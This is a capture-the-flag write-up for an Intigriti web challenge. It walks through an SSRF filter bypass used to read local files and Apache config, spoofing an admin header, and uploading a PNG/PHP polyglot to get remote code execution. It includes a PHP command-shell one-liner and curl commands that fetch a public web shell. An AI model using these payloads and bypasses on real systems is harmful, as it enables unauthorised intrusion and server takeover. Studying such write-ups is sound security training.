Challenge Overview

This was a web challenge that started with an SSRF vulnerability and ended with getting a shell through a broken file upload. The challenge URL was https://challenge-1025.intigriti.io.

Finding the SSRF

I started by fuzzing the URL input form. The error messages gave away that the backend was using PHP with cURL: cURL Error: <message>

My first attempt was file:///etc/hostname, which got rejected with "Invalid URL: must include 'http'". The validation was naive - it just checked if the string "http" appeared anywhere in the URL. Adding ?http to the end bypassed it completely, and I could read /etc/hostname:

# file:///etc/hostname?http
challenge-1025-b8d89db6b-pz589

Reading Apache Config Files

I needed to figure out what was running. A request to https://challenge-1025.intigriti.io/flag.txt came back with an Apache error page, so now I knew the web server.

Apache typically serves sites from /var/www/html, so I pulled the challenge script first with file:///var/www/html/challenge.php?http. Nothing interesting there.

Since Apache keeps its configs in /etc/apache2/sites-enabled/ and the default is 000-default.conf, I tried to retrieve it using the SSRF.

<VirtualHost *:8080>
  DocumentRoot /var/www/html

  <Directory /var/www/html>
    Options Indexes FollowSymLinks
    AllowOverride All
    Require all granted
  </Directory>

  <Directory /var/www/html/uploads>
    Options -Indexes
  </Directory>

  <Directory /var/www/html/public>
    Options -Indexes
  </Directory>

  <Files "upload_shoppix_images.php">
    <If "%{HTTP:is-shoppix-admin} != 'true'">
      Require all denied
    </If>
    Require all granted
  </Files>
</VirtualHost>

This config told me several things. The DocumentRoot confirmed where the site files lived. Options Indexes meant directory listing was enabled for the main directory but disabled for uploads/ and public/. AllowOverride All meant .htaccess files would be processed. The interesting part was the <Files> block - there was an upload endpoint at upload_shoppix_images.php, but it required the is-shoppix-admin: true HTTP header.

Getting to the Upload Form

I configured my MITM proxy to inject the header on every request:

is-shoppix-admin: true

With that in place, I could access https://challenge-1025.intigriti.io/upload_shoppix_images.php.

I tried uploading a simple PHP shell (<?php system($_GET['cmd']); ?>), but it got blocked with ❌ Invalid file format.

Analyzing the Upload Code

I used the SSRF again to pull the upload script source: file:///var/www/html/upload_shoppix_images.php?http

The validation code had a few issues:

$mime = mime_content_type($tmp);

if (
  strpos($mime, "image/") === 0 &&
  (stripos($filename, ".png") !== false ||
   stripos($filename, ".jpg") !== false ||
   stripos($filename, ".jpeg") !== false)
) {
  move_uploaded_file($tmp, "uploads/" . basename($filename));

// ...

The problem was that mime_content_type() only checks the file's magic bytes, not the actual content. The filename validation used stripos(), which just checked if .png, .jpg, or .jpeg appeared anywhere in the filename - it didn't care what came after. The basename() call prevented directory traversal, but it still allowed double extensions like file.png.php.

Bypassing the Upload Filter

I downloaded a PHP shell and created a polyglot file that was both a valid PNG and valid PHP:

curl -L https://github.com/flozz/p0wny-shell/raw/refs/heads/master/shell.php -o shell.php
convert -size 1x1 xc:white bandjes.png
cat shell.php >> bandjes.png
mv bandjes.png bandjes.png.php

This works because the file starts with PNG magic bytes (satisfying mime_content_type()), the filename contains .png (satisfying stripos()), and Apache will execute it as PHP because of the .php extension.

I uploaded bandjes.png.php and accessed it at https://challenge-1025.intigriti.io/uploads/bandjes.png.php. The shell executed.

Note: I had to alter the shell a bit to get the AJAX loading working.

I explored the filesystem by starting in the root and found a file named /93e892fe-c0af-44a1-9308-5a58548abd98.txt:

# cat /93e892fe-c0af-44a1-9308-5a58548abd98.txt
INTIGRITI{ngks896sdjvsjnv6383utbgn}

There it was! ⛳️

Attack Chain

The full attack chain was:

  1. SSRF through weak URL validation (bypassed with ?http)
  2. Read Apache config via file:// protocol
  3. Found upload endpoint protected by custom header
  4. Spoofed is-shoppix-admin header
  5. Bypassed upload filters with polyglot PNG+PHP file
  6. Got RCE, retrieved flag